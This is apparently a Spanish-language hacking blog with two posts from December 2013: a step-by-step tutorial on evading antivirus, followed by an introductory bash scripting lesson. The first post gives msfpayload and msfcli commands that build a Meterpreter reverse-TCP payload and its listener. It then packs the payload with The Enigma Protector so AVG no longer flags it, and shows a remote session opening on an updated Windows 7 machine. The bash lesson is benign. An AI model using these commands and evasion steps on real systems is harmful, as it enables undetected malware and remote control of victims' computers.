miércoles, 4 de diciembre de 2013

Evadiendo antivirus

En este post veremos una técnica sencilla y efectiva de evadir antivirus.
Comunmente encontraras este tema como bypass antivurs, si buscas la definición por la web acerca de bypass antivirus te daras cuenta que no hay algo concreto, hacer un bypass simplemente es hacer que los antivirus no detecten nuestros programas maliciosos :D

Hay muchisimas técnicas para hacer este tipo de trabajos y se debe tomar en cuenta 2 puntos muy importantes:

El primer punto:
Si tenemos un antivirus como Avg, avast, avira, etc etc y hacemos una técnica de bypass y el antivirus que tengamos no detecta nuestro programa malicioso, eso no quiere decir que ningun antivirus vaya a detectar nuestro programa o que el bypass sea efectivo en todos los antivirus

El segundo punto:
probablemente nuestro bypass funcione por un tiempo pero como los antivirus se actualizan, pues es posible que con el tiempo nuestro bypass no funcione y cualquier antivirus nos detecte


























Para este ejercicio el antivirus que usaremos será el AVG 2014, aqui pongo la prueba que esta actualizado al fia de hoy (miercoles 4 de diciembre del 2013)


El programa que usaremos se llama The Enigma Protector, este es un sistema profesional para licencias y protección de archivos ejecutables en windows, The Enigma Protector es una herramienta escensial para cada desarrollador de software comercial.

¿Alguna vez tuvieron algun programa y aunque no era un virus o un programa malicioso su antivirus lo detectaba como si fuera un virus? si alguna vez les ha pasado tal vez con The Enigma protector puedan solucionar ese problema.


  


Bueno vamos sobre la practica, lo primero que debemos de hacer es nuestro payload
 ponemos el comando:
msfpayload windows/meterpreter/reverse_tcp lhost="mi ip local" lport=1234 X > /root/Desktop/virus.exe

supongo  que no es necesario explicar ese comando, si has dado con este blog y no sabes que es cada cosa que escribí en ese comando te sugiero buscar en google el curso que se llama
metasploit unleashed <-- es gratuito y esta muy bien explicado.




Este archivo llamado pacman.exe lo debemos pasar a nuestra maquina que tiene el sistema operativo windows y que tiene el The Enigma Protector instalado




Pero!!!! antes de pasar el archivo supongo que sería buena idea tener listo nuestro metasploit
ponemos el comando msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp lhost=192.168.1.71 lport=1234 E

Listo ya tenemos nuestro metasploit listo para tener una sesion de meterpreter cuando ejecuten nuestro pacman.exe, ahora antes de pasar nuestro pacman.exe hay que desactivar el antivirus, claro no para ejecutarlo sino para que el antivirus no vaya a borrar el archivo, recuerden que tenemos que modificarlo entonces desactivamos el antivirus para poder trabajar sobre el archivo pacman.exe



Una vez que hayamos desactivado el antivirus y hayamos copiado nuestro archivo pacman.exe a nuestro windows abrimos el programa The Enigma Protecto y damos click en Directorio





Una vez que hayamos dado click en Directorio buscamos nuestro archivo pacman.exe y damos click en el boton abrir, entonces ahora se nos mostrara que se va a crear un archivo llamado pacman_protected.exe solo tenemos que dar click en el boton proteger





Una vez que The Enigma Protector haya terminado el trabajo nos aparecerá de la siguiente manera y simplemente debemos dar click en el boton cerrar


Por ultimo cuando cerramos The Enigma protector nos pregunta si queremos salvar el proyecto, ahi simplemente le damos click en no




Aqui vemos como tenemos el archivo original pacman.exe y el archivo modificado pacman_protected.exe


Escaneemos el archivo pacman


Aqui podemos ver como AVG lo detecta rápidamente

Ahora hagamos el escaneo sobre el archivo pacman_protected



Vemos que el antivirus ahora no lo ha detectado, pero ahora debemos comprobar que nuestro archivo .exe sigue funcionando es decir nuestro payload no haya quedado "corrupto" por la modificacion que hicimos, entonces procedemos a ejecutarlo































Ahora veamos en nuestro kali que ha pasado




Como vemos tenemos meterpreter dentro del sistema veamos sobre que sistema operativo fue ejecutado nuestro payload



Bueno aqui podemos ver que esto funciona perfectamente con un antivirus actualizado y sobre un windows 7 actualizado y de 64 bits.

Es todo por el momento espero hayan disfrutado de este post :)










lunes, 2 de diciembre de 2013

Programacion de scripts con bash


Programando scripts en bash

Antes de empezar a tirar codigo :p adentremonos en un poco de pensamientos personales XD y despues un poco de teoría.

Cuando estas en el mundo del hacking y el pentesting llega un momento en el que es necesario y muy importante el hecho de que uno desarrolle sus propias herramientas o incluso que sepa leer lenguajes de programación para modificar y/o adecuar herramientas que tengamos en nuestro poder, particularmente me refiero a los scripts.

Ya tiene tiempo que tengo el entusiasmo de hacer un post sobre programación enfocada al hacking y pentesting y parece que hoy llego el día :D

Debo de mencionar que todos los ejemplos serán fotografías ya que de esa manera obligaré a todos a escribir el coódigo de nuevo para que no hagan solo lo copien :D de manera que si su script tiene algun error tendrám que identificarlo y repararlo por ustedes mismos :p

Bash:
Es el interprete de comandos que tienen la mayoría de las distribuciones linux (obiamente esto es una definición muy corta) entonces ya que es el interprete de la mayoría de las consolas de linux quiere decir que cuando estemos programando, bash entenderá los comandos de linux.

Antes de empezar a desarrollar nuestras herramientas hay que empezar con lo básico es decir aprendamos un poco de programación en bash.
Lo primero que necesitamos es saber es donde se encuentra el interprete de bash ¿espera el qué? jajaja bueno el interprete es el programa que entiende que es lo que estamos escribiendo en nuestro programa.

entonces para saber donde esta es interprete utilizemos el siguiente comando
which bash
Aqui vemos que la ruta donde se encuentra el interprete de bash es /bin/bash ahora ya podemos empezar a trabajar :D

hagamos nuestro primer programa que imprima un mensaje en pantalla

 ahora si empecemos en la 1er linea va la ubicacion del interprete y en las siguientes lineas el cuerpo de nuestro programa

 Aqui vemos que en la 1er linea mandamos llamar al interprete y las siguientes 4 lineas las usamos para documentar el programa, hasta la 6ta linea damos la instrucción de imprimir un mensaje en pantalla, pero todavía no terminamos hay que darle permisos de ejecución a nuestro archivo

Con el comando ls -l vemos que el archivo esta sin permisos de ejecución, (para permisos y comando chmod creo que hay bastante material en la red ), para ejecutar el script sería de la siguiente manera ./mensaje.sh

 Como vemos en la imagen, no es posible ejecutar el script ya que no tiene permisos de ejecucion entonces ahora demosle permisos puede ser:
chmod +x mensaje.sh
             Ó
chmod 775 mensaje.sh

de nuevo ponemos ls -la y vemos que el color de nuestro script cambio a verde ademas en la parte de la izquierda vemos una x lo cual quiere decir que ya puede ser ejecutado nuestro script
Listo script ejecutado exitosamente, bueno ahora que ya sebemos todos los pasos podemos irnos mas rápido, asi que demosle velocidad a esto :D

Veamos como declarar una variable e imprimirla en pantalla

Hacemos todo lo necesario para poder ejecutar el script y procedemos a ejecutarlo

Ahora veamos variables globales y variables locales
y aqui ejecutamos

Ahora veamos como recibir datos del teclado

Procedemos con la ejecución

Siguiente programa, hagamos un programa que detecta las teclas CTRL+c y usemos la "trampa" de bash

Procedemos a ejecutar la "trampa de bash"

Nuestro siguiente programa leerá un archivo

Aqui la ejecución

Creo que es un buen momento para mencionar las comparaciones aritmeticas en bash
-lt <
-gt >
-le <=
-ge >=
-eq ==
-ne !=

Teniendo ya conocimiento de las comparaciones artimeticas en bash hagamos otro tipo de cosas :)
hagamos  veamos como comprar valores de == en bash

Ejecutamos

Asi como hay operadores aritmeticos hay comparadores de cadena
= equal
!= not equal
< less then
> greater then
-n s1 string s1 is not empty
-z s1 string s1 is empty


Ejecutamos

Ahora veamos el ciclo for

Ejecutamos
También podemos ejecutarlo directamente desde la consola
Ahora hagamos un script para seleccionar en bash
Porcedemos con la ejecucion
Veamos otra manera de hacer elecciones, esta vez con case

Procedemos a ejecutarlo

Ahora veamos operaciones aritmeticas en bash
Procedemos a ejecutar

Por ultimo hagamos un script que detecte todas las ip que estan en uso en nuestra red
Ahora procedemos con la ejecución

Bueno esperemos tener una puequeña base de la programación de scripts en bash espero haya quedado todo entendido y este proximo año uno de sus propositos de año nuevo sea aprender algun lenguaje de scripting.